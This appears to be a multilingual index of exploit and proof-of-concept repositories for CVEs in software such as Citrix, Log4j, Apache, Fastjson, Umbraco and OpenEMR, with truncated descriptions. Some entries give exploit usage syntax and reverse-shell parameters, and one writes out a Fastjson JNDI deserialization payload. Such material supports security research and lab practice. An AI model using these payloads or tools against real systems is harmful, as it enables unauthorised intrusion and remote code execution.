POC-CVE-2025-1094

POC CVE-2025-1094: PostgreSQL psql SQL Injection Proof of Concept pour la vulnérabilité d'injection SQL critique dans le client PostgreSQL libpq et l'outil psql 📋 Table des matières 1. Introduction à la vulnérabilité 2. Structure du répertoire du projet 3. Analyse du payload d'attaque 4. Guide...

CVE-2023-50164-Apache-Struts-RCE

Contient un fichier WAR vulnérable et un fichier docker pouvant être utilisés pour tester CVE-2023-50164-Apache-Struts-RCE. Ce dockerfile et l'application vulnérable sont compilés et conçus en utilisant les ressources et le code de https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE...

CVE-2025-21298

CVE-2025-21298 contenu Ceci est une preuve de concept pour CVE-2025-21298 - Vulnérabilité d'exécution de code à distance OLE Windows CVSS 9.8. Il s'agit d'un PoC de corruption mémoire , pas d'un exploit. vulnérabilité La vulnérabilité se situe dans ole32.dll!UtOlePresStmToContentsStm. Le but de l...

CVE-2019-19781

Remote Code Execution Exploit CVE-2019-19781- Citrix Application Delivery Controller & Gateway Exploit d'exécution de code à distance pour Citrix Application Delivery Controller et Citrix Gateway CVE-2019-19781 Utilisation : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE ex. : bash...

Log4Shell

Log4Shell Questa repository riguarda la dimostrazione e la mitigazione della vulnerabilità Log4j 2021 CVE-2021-44228. Cos'è Log4Shell? La vulnerabilità CVE-2021-44228 / Log4Shell consiste nell'iniettare un payload dannoso in un software vulnerabile, che chiederà a Log4J di ottenere un valore da u...

CVE-2021-41773-exercise

CVE-2021-41773-exercise A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by...

CVE-2023-4220-PoC

CVE-2023-4220 رفع ملفات تعسفي / RCE - PoC أنشأت هذا السكربت لأتمتة استغلال CVE-2023-4220 والحصول على شل عكسي على جهاز Hack The Box PermX. هذه الثغرة تؤثر على إصدارات Chamilo LMS ≤ 1.11.24 ، بسبب عدم كفاية التحقق في وظيفة الرفع الكبير. يمكن لمهاجم غير مصادق رفع ملفات إلى دليل متاح للعامة، مما قد...

CVE-2012-2982_python

CVE-2012-2982 Exploit python Bonjour, je suis chercheur en sécurité et c'est mon premier exploit. Webmin 1.580 possède une RCE qui est également CVE-2012-2982 Pour utiliser ce payload: 1. télécharger 2. Ouvrir dans un éditeur de texte ! 3. remplacer targetIP par votre cible 4. remplacer lhost par...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - Exploit LFI e RCE Info root@kitploit: Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49 Tested on:...

CVE-2025-0868

Relatório de Projeto de Teste de Penetração: Explorando CVE-2025-0868 RCE no DocsGPT via JSON Eval 1. Introdução Uma falha crítica de Execução Remota de Código RCE CVE-2025-0868 foi divulgada em 20 de fevereiro de 2025 na biblioteca open-source DocsGPT, causada pelo uso inseguro de eval ao...

CVE-2025-68613-POC

🚨 CVE-2025-68613: Kritische RCE-Sicherheitslücke in n8n Table of Contents 1. Übersicht 2. Was ist n8n? 3. Grundlagen der Sicherheitslücke 4...

Atmail-exploit-toolchain

AtMail Email Server Appliance 6.4 - toolchain de exploit XSS CSRF RCE PacketStorm WLB-2020080010 Aviso: este toolchain de exploit foi inspirado por EDB-ID 20009. Objetivo O objetivo deste toolchain de exploit é substituir o EDB-ID 20009. Vantagens deste toolchain sobre o exploit EDB-ID 20009:...

Umbraco-RCE

Umbraco RCE-Exploit / PoC Umbraco CMS 7.12.4 - authentifizierte Remote-Codeausführung EDB-49488 PacketStorm WLB-2020080012 Verwendung root@kitploit: $ python exploit.py -h usage: exploit.py -h -u USER -p PASS -i URL -c CMD -a ARGS Umbraco authenticated RCE optional arguments: -h, --help show this...

OpenEMR-RCE

OpenEMR RCE exploit / PoC OpenEMR --shell --user --password --debug exploit.rb semi-auto --root-url --user --password --payload --lhost --lport --debug exploit.rb auto --root-url --user --password --lhost --lport --debug exploit.rb -H | --help Options: -r , --root-url Root URL base path including...

CVE-2026-54806

WP Activity Log Iniezione di Oggetti PHP CVE-2026-54806 PoC 📜 Descrizione CVE-2026-54806 è una vulnerabilità critica CVSS 9.8 di iniezione di oggetti PHP non autenticata nel plugin WP Activity Log per WordPress wp-security-audit-log di Melapress. Un utente malintenzionato non autenticato può...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce versão1.2.51 Execução remota de comandos 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ Versão desconhecida entre 1.2.24-41...

telnet-CVE-2026-24061

https://github.com/SafeBreach-Labs/CVE-2026-24061/blob/main/telnetrce.py man muss den Code verstehen 2. Aufbau eines funktionierenden Codes ohne input, direkt zmienna = '' Der Code muss mit jedem Gerät kompatibel sein, daher dürfen keine Befehle wie os.system'polecenie' verwendet werden 3...

PoC-CVE-2026-20841

PoC CVE-2026-20841 Beschreibung Dieses Projekt ist ein einfacher Proof of Concept PoC bezüglich einer Schwachstelle im Windows-Editor Notepad zur "Remote Code Execution". Angreifer haben die Möglichkeit, eine spezielle .md-Datei zu erstellen und durch Social-Engineering-Tricks Benutzer dazu zu...

CVE-2026-22785

Tutorial di riproduzione di CVE-2026-22785 Panoramica della vulnerabilità CVE : CVE-2026-22785 Impatto : orval = 7.18.0 CVSS : 9.3 CRITICAL Tipo : Iniezione di codice Principio della vulnerabilità orval 7.18.0, durante la generazione del codice del server MCP, concatena direttamente il campo...

cve-2017-12149-playground

अनेक महत्वपूर्ण उद्योग बैंकिंग, स्वास्थ्य सेवा, और विनिर्माण लीगेसी मिडलवेयर पर निर्भर करते हैं जो विशेष रूप से JBoss 5 या 6 पर चलाने के लिए बनाया गया था। चूँकि ये एप्लिकेशन अक्सर WildFly JBoss के उत्तराधिकारी के आधुनिक संस्करणों में माइग्रेट करने के लिए बहुत नाजुक होते हैं, संगठन उन्हें पैच करने...